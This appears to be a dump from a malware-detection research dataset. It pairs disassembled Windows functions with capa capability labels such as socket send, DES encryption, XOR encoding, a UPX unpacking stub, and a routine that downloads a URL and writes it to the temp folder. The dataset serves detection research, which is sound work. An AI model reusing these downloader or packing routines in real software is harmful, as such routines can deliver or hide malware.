joyce8/EMBER2024-capa huggingface dataset:
Function at 0x53b280
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x90c
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0x908], eax
push ebx
push ebp
push esi
push edi
push 0x7f
lea eax, [esp + 0x9d]
mov ebx, ecx
push 0
push eax
mov dword [esp + 0x20], ebx
mov byte [esp + 0xa4], 0
call fcn.00501950
push 0x7f
lea ecx, [esp + 0x29]
push 0
push ecx
mov byte [esp + 0x30], 0
call fcn.00501950
mov ebp, dword [ebx]
mov edi, dword [ebp + 0x128]
mov edx, dword [edi + 0x1eb4]
sub edx, dword [edi + 0x1eb0]
lea eax, [edi + 0x1cb0]
add edx, 2
push edx
push 0x3c
mov esi, ebp
mov dword [esp + 0x30], ebp
call fcn.0053aca0
mov eax, dword [edi + 0x1eb0]
movzx ecx, byte [eax]
inc eax
add esp, 0x20
mov dword [edi + 0x1eb0], eax
cmp ecx, 0x18
je 0x53b468
cmp ecx, 0x23
je 0x53b442
cmp ecx, 0x27
jne 0x53b4fa
push 0
push ecx
push 0xfa
push 0xff
push str._c_c_c_c
lea eax, [esp + 0x12c]
push 0x800
push eax
call fcn.0052bec0
mov esi, dword [edi + 0x1cac]
add esp, 0x1c
mov ebp, 4
test esi, esi
je 0x53b3d6
lea esp, [esp]
mov ebx, dword [esi]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x53b367
sub eax, edx
lea edi, [eax + ebp + 1]
cmp edi, 0x7fa
jae 0x53b3cb
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x9c]
push edx
push str._127_____127s
push ebx
call fcn.005066c8
add esp, 0x10
test eax, eax
je 0x53b3cb
lea eax, [esp + 0x18]
push eax
push 1
lea ecx, [esp + 0xa0]
push ecx
push 0
mov edx, 0x800
push str._c_s_c_s
sub edx, ebp
push edx
lea eax, [esp + ebp + 0x130]
push eax
call fcn.0052bec0
add esp, 0x1c
mov ebp, edi
mov esi, dword [esi + 4]
test esi, esi
jne 0x53b360
mov ebx, dword [esp + 0x14]
push 0xf0
push 0xff
mov ecx, 0x800
push 0x57a35c
sub ecx, ebp
push ecx
lea edx, [esp + ebp + 0x128]
push edx
call fcn.0052bec0
mov ecx, dword [ebx + 0x190]
add esp, 0x14
push 0
add ebp, 2
push ebp
lea eax, [esp + 0x120]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jge 0x53b435
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [esp + 0x10]
push eax
push str.Sending_data_failed___d_
push edx
call fcn.00527570
add esp, 0xc
mov esi, dword [esp + 0x10]
add ebp, 0xfffffffe
push ebp
jmp 0x53b4e9
lea ecx, [edi + 0x1c28]
mov eax, ecx
lea esi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x53b450
push 0xf0
push 0xff
push ecx
push 0
push 0x23
jmp 0x53b489
lea ecx, [edi + 0x1c08]
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x53b473
push 0xf0
push 0xff
push ecx
push 0
push 0x18
push 0xfa
push 0xff
sub eax, esi
push str._c_c_c_c_s_c_c
lea edi, [eax + 6]
lea eax, [esp + 0x138]
push 0x800
push eax
call fcn.0052bec0
mov edx, dword [ebx + 0x190]
add esp, 0x28
push 0
push edi
lea ecx, [esp + 0x120]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jge 0x53b4e3
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebp
call fcn.00527570
add esp, 0xc
add edi, 0xfffffffe
mov esi, ebp
push edi
push 0x3e
lea eax, [esp + 0x122]
call fcn.0053aca0
add esp, 8
mov ecx, dword [esp + 0x918]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004ffc05
add esp, 0x90c
ret
Function at 0x53b680
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
cmp dword [esp + 0xc], 0x1f
mov eax, dword [esp + 8]
mov eax, dword [eax]
push ebx
mov ebx, dword [eax + 0x128]
mov dword [esp + 4], eax
jne 0x53b7e9
push ebp
push esi
push edi
lea edi, [ebx + 0x1cb0]
lea ebp, [ebx + 0x1eb0]
mov dword [ebp], edi
cmp edi, ebp
jae 0x53b6b9
mov byte [edi], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b6c6
mov byte [eax], 0xfa
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b6d3
mov byte [eax], 0x1f
inc dword [ebp]
movzx ecx, word [ebx + 0x1ca8]
mov esi, dword [sym.imp.WS2_32.dll_htons]
push ecx
call esi
movzx edx, ax
movzx eax, word [ebx + 0x1caa]
push eax
mov dword [esp + 0x20], edx
call esi
movzx ecx, ax
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b707
mov dl, byte [esp + 0x1c]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b717
mov dl, byte [esp + 0x1d]
mov byte [eax], dl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b723
mov byte [eax], cl
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b72f
mov byte [eax], ch
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b73c
mov byte [eax], 0xff
inc dword [ebp]
mov eax, dword [ebp]
cmp eax, ebp
jae 0x53b749
mov byte [eax], 0xf0
inc dword [ebp]
mov eax, dword [ebp]
mov esi, dword [esp + 0x10]
mov ecx, eax
sub ecx, edi
sub ecx, 2
push ecx
mov dword [ebx + 0x1eb4], eax
lea eax, [ebx + 0x1cb2]
push 0x3e
mov dword [ebp], edi
call fcn.0053aca0
mov ebp, dword [sym.imp.WS2_32.dll_send]
add esp, 8
push 0
push 3
push edi
mov edi, dword [esp + 0x24]
mov edx, dword [edi + 0x190]
push edx
call ebp
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jge 0x53b7a8
call esi
push eax
mov eax, dword [esp + 0x14]
push str.Sending_data_failed___d_
push eax
call fcn.00527570
add esp, 0xc
lea ecx, [ebx + 0x1cb3]
push 4
push ecx
call fcn.0053b520
mov edx, dword [edi + 0x190]
add esp, 8
push 0
push 2
add ebx, 0x1cb7
push ebx
push edx
call ebp
test eax, eax
jge 0x53b7e6
call esi
push eax
mov eax, dword [esp + 0x14]
push str.Sending_data_failed___d_
push eax
call fcn.00527570
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x53c2a0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x18
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov ebx, dword [esi + 0x194]
mov ebp, dword [esi]
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x18]
push ecx
push ebx
or edi, 0xffffffff
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x53c2f7
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
push ebx
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_accept]
mov edi, eax
push ebx
push esi
call fcn.0052a3d0
add esp, 8
cmp edi, 0xffffffff
jne 0x53c32c
push str.Error_accept__ing_server_connect
push ebp
call fcn.00527570
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 0x1e
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004ffc05
add esp, 0x18
ret
push str.Connection_accepted_from_server_n
push ebp
call fcn.005274e0
push 1
push edi
mov dword [esi + 0x3c8], 0
mov dword [esi + 0x194], edi
call fcn.0054a5a0
mov dword [esi + 0x1a4], 1
mov eax, dword [ebp + 0x1b0]
add esp, 0x10
test eax, eax
je 0x53c396
mov ecx, dword [ebp + 0x1b4]
push 1
push edi
push ecx
call eax
add esp, 0xc
test eax, eax
je 0x53c396
call fcn.0053c1d0
pop edi
pop esi
pop ebp
mov eax, 0x2a
pop ebx
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004ffc05
add esp, 0x18
ret
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.004ffc05
add esp, 0x18
ret
Function at 0x53f940
Capabilities:
Check http status code

Disassembly:
mov eax, 0x51eb851f
imul ecx
sar edx, 5
push ebx
mov ebx, dword [edi]
mov eax, edx
push ebp
mov ebp, dword [esp + 0xc]
shr eax, 0x1f
push esi
add eax, edx
xor esi, esi
cmp eax, 2
je 0x53f976
push str.Couldnt_set_desired_mode
push ebx
call fcn.00527570
add esp, 8
lea eax, [esi + 0x11]
pop esi
pop ebp
pop ebx
ret
cmp ecx, 0xc8
je 0x53f98d
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push ebx
call fcn.005274e0
add esp, 0xc
cmp ebp, 0x13
jne 0x53f9a1
push edi
call fcn.0053f8d0
add esp, 4
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x14
jne 0x53f9b5
push edi
call fcn.0053cd50
add esp, 4
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x15
jne 0x53f9c7
mov eax, edi
call fcn.0053f920
mov esi, eax
pop esi
pop ebp
pop ebx
ret
cmp ebp, 0x16
jne 0x53f9d5
mov eax, edi
call fcn.0053f930
mov esi, eax
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x546b50
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.005174ca
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x546bb5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x546bb5
lea edx, [esp]
push edx
call dword [0x5b5800]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004ffc05
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.004ffc05
add esp, 0x108
ret
jmp 0x546b50

Function at 0x546bd0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call fcn.005174ca
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x546bb5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x546bb5
lea edx, [esp]
push edx
call dword [0x5b5800]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004ffc05
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor ecx, esp
xor eax, eax
call fcn.004ffc05
add esp, 0x108
ret
jmp 0x546b50
Function at 0x54baa0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
mov ebp, dword [eax + 0x2c]
mov ebx, dword [ebp]
mov ecx, dword [ebx + 0x1ec]
push esi
push edi
mov esi, ecx
test ecx, ecx
jne 0x54babd
mov esi, dword [eax + 0x28]
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
push ecx
push edx
call fcn.00526f30
push edx
push eax
call fcn.00526f60
mov ecx, eax
mov eax, edx
mov dword [esp + 0x24], eax
mov eax, esi
cdq
add esp, 0x10
mov edi, eax
sub edi, ecx
mov ecx, dword [esp + 0x14]
mov esi, edx
sbb esi, ecx
cmp dword [ebx + 0x1e0], 0
je 0x54bb2a
mov edx, dword [ebp + 0x184]
mov eax, dword [ebp + 0x180]
push edx
push eax
call fcn.00526f30
push edx
push eax
call fcn.00526f60
mov ecx, eax
mov eax, dword [ebx + 0x1e0]
mov ebp, edx
cdq
add esp, 0x10
sub eax, ecx
sbb edx, ebp
cmp esi, edx
jl 0x54bb2a
jg 0x54bb2e
cmp edi, eax
jae 0x54bb2e
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x54ce10
Capabilities:
Get hostname

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push esi
mov byte [esi], 0
call dword [sym.imp.WS2_32.dll_gethostname]
mov byte [esi + edi - 1], 0
test eax, eax
jne 0x54ce42
push 0x2e
push esi
call fcn.0050dd80
add esp, 8
test eax, eax
je 0x54ce40
mov byte [eax], 0
xor eax, eax
pop edi
pop esi
ret

Function at 0x54cf20
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using des via winapi
Encrypt or decrypt via wincrypt

Disassembly:
sub esp, 0x24
mov eax, dword [0x5b4300]
xor eax, esp
mov dword [esp + 0x20], eax
push ebp
mov ebp, dword [esp + 0x30]
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x54cfca
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
push esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
lea esi, [esp + 0x20]
mov eax, ebp
mov byte [esp + 0x14], 8
mov byte [esp + 0x15], 2
mov dword [esp + 0x18], 0x6601
mov dword [esp + 0x1c], 8
call fcn.0054ce90
mov ecx, esi
push 8
push ecx
call fcn.00551f80
mov ecx, dword [esp + 0x10]
add esp, 8
lea edx, [esp + 0x10]
push edx
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
pop esi
test eax, eax
jne 0x54cfdc
mov edx, dword [esp + 4]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.004ffc05
add esp, 0x24
ret
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
mov dword [edi], ecx
mov edx, dword [eax + 4]
mov eax, dword [esp + 8]
push eax
lea ecx, [esp + 0xc]
push ecx
push edi
push 0
push 0
mov dword [edi + 4], edx
mov edx, dword [esp + 0x20]
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [esp + 4]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x24]
pop ebp
xor ecx, esp
mov eax, 1
call fcn.004ffc05
add esp, 0x24
ret
Function at 0x54d160
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x24]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x54d170
sub eax, edx
mov esi, eax
lea ebp, [esi + esi]
push ebp
call dword [0x5b57f4]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x54d199
pop edi
pop esi
pop ebp
lea eax, [ebx + 0x1b]
pop ebx
add esp, 0xc
ret
mov ecx, ebx
call fcn.0054d130
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x54d21f
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0x8002
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x54d212
mov eax, dword [esp + 0x10]
push 0
push ebp
push ebx
push eax
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov edx, dword [esp + 0x10]
push 0
lea ecx, [esp + 0x1c]
push ecx
push esi
push 2
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [esp + 0x14]
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov dword [esi + 0x10], eax
push ebx
mov byte [esi + 0x14], al
call dword [0x5b57f8]
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret

Function at 0x54f990
Capabilities:
Read file on windows

Disassembly:
push edi
mov edi, eax
mov eax, dword [esi]
cmp dword [eax + 4], 3
jne 0x54f9b2
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x54f9a6
xor eax, eax
pop edi
ret
mov eax, dword [eax + 8]
push eax
push edi
push 1
push ebx
call ecx
jmp 0x54f9e2
cmp dword [esi + 8], 0
jne 0x54f9d5
mov ecx, dword [eax + 8]
push 0x5946d4
push ecx
call fcn.0050062e
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x54f9d5
or eax, 0xffffffff
pop edi
ret
mov edx, dword [esi + 8]
push edx
push edi
push 1
push ebx
call fcn.00500d10
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x54fa04
mov eax, dword [esi + 8]
test eax, eax
je 0x54f9fe
push eax
call fcn.005004fe
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, edi
pop edi
ret
Function at 0x552bf0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x14]
lea eax, [ecx + eax*2 + 0xc]
push edi
push eax
call dword [0x5b57f4]
mov edi, eax
add esp, 4
test edi, edi
jne 0x552c15
pop edi
pop esi
pop ecx
ret
lea eax, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], eax
mov edx, dword [esi + 0xc]
push ebx
add edx, eax
push ebp
mov ebp, dword [esp + 0x20]
mov dword [edi + 8], edx
cmp ebp, dword [esi + 0x10]
jbe 0x552c5c
push eax
mov eax, dword [esi]
call eax
mov ecx, dword [esp + 0x20]
mov edx, dword [edi + 4]
mov eax, dword [esi + 4]
push ebp
push ecx
push edx
call eax
mov ebx, dword [edi + 8]
mov ecx, dword [edi + 4]
add ebx, dword [esi + 0xc]
mov edx, dword [esi + 8]
push ecx
push ebx
call edx
mov ebp, dword [esi + 0x14]
add esp, 0x18
jmp 0x552c60
mov ebx, dword [esp + 0x1c]
mov eax, dword [edi + 4]
mov ecx, dword [esi]
push eax
call ecx
mov edx, dword [edi + 8]
mov eax, dword [esi]
push edx
call eax
add esp, 8
mov dword [esp + 0x10], 0
test ebp, ebp
jbe 0x552cbe
mov dword [esp + 0x10], ebp
mov cl, byte [ebx]
xor cl, 0x36
mov byte [esp + 0x18], cl
mov eax, dword [edi + 4]
mov ecx, dword [esi + 4]
push 1
lea edx, [esp + 0x1c]
push edx
push eax
call ecx
mov dl, byte [ebx]
xor dl, 0x5c
mov byte [esp + 0x24], dl
mov ecx, dword [edi + 8]
mov edx, dword [esi + 4]
push 1
lea eax, [esp + 0x28]
push eax
push ecx
inc ebx
call edx
add esp, 0x18
sub ebp, 1
jne 0x552c83
mov eax, dword [esp + 0x10]
pop ebp
pop ebx
cmp eax, dword [esi + 0x10]
jae 0x552d01
lea esp, [esp]
mov ecx, dword [edi + 4]
mov edx, dword [esi + 4]
push 1
push 0x594055
push ecx
call edx
mov eax, dword [edi + 8]
mov ecx, dword [esi + 4]
push 1
push 0x594056
push eax
call ecx
mov eax, dword [esp + 0x20]
inc eax
add esp, 0x18
mov dword [esp + 8], eax
cmp eax, dword [esi + 0x10]
jb 0x552cd0
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x552e39
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x552e60
call fcn.00501f81
mov dword [eax], esi
call fcn.00501f6e
push 0x16
pop esi
mov dword [eax], esi
call fcn.005079b4
mov eax, esi
jmp 0x552eb5
test dword [ebp + 0xc], 0xfffffff9
jne 0x552e46
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x552e8d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00501f94
pop ecx
call fcn.00501f6e
mov eax, dword [eax]
jmp 0x552eb5
test al, 0x10
jne 0x552eb3
test al, 1
je 0x552eb3
test byte [ebp + 0xc], 2
je 0x552eb3
call fcn.00501f81
mov dword [eax], 5
call fcn.00501f6e
mov dword [eax], 0xd
jmp 0x552e84
xor eax, eax
pop esi
pop ebp
ret
Function at 0x407360
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40739e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407396
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4073a0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407386
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407480
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4074af
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4074af
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x47c810
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11000]
push edi
or ebp, 0xffffffff
jmp 0x47c832
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x47c839
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x47c828
mov eax, 1
add ebx, ebx
jne 0x47c84b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x47c840
jne 0x47c85c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47c840
xor ecx, ecx
sub eax, 3
jb 0x47c870
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47c8e2
mov ebp, eax
add ebx, ebx
jne 0x47c87b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x47c888
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x47c8ac
inc ecx
add ebx, ebx
jne 0x47c898
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x47c88d
jne 0x47c8a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x47c88d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x47c8cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x47c8bd
jmp 0x47c82e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x47c8cc
add edi, ecx
jmp 0x47c82e
pop esi
lea edi, [esi + 0x7a000]
mov eax, dword [edi]
or eax, eax
je 0x47c92b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7c000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7c050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x47c8e9
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7c058]
or eax, eax
je 0x47c925
mov dword [ebx], eax
add ebx, 4
jmp 0x47c906
call dword [esi + 0x7c054]
mov ebp, dword [esi + 0x7c05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x47c95f
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x414dd1
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], ecx
mov ebx, 0x444688ea
mov ebx, ebx
add eax, 4
or esi, edx
cmp eax, edi
jne fcn.00414dd1
sub esp, 4
mov dword [esp], 0x291d9fcc
mov esi, dword [esp]
add esp, 4
and ebx, esi
ret
Function at 0x10001040
Capabilities:
Create http request
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x141c
call fcn.10002080
mov eax, dword [0x10004004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.UserAgent
mov edi, edx
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
mov dword [ebp - 0x141c], ebx
test ebx, ebx
je 0x10001162
push 0
push 0x80000000
push 0
push 0
push esi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x1000115b
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001154
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1418]
push eax
push 0x1000
lea eax, [ebp - 0x1414]
push eax
push esi
call ebx
test eax, eax
je 0x10001147
nop dword [eax + eax]
mov eax, dword [ebp - 0x1418]
test eax, eax
je 0x10001147
push 0
push 0
push eax
lea eax, [ebp - 0x1414]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x1418]
push eax
push 0x1000
lea eax, [ebp - 0x1414]
push eax
push esi
call ebx
test eax, eax
jne 0x10001110
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x141c]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000137c
mov esp, ebp
pop ebp
ret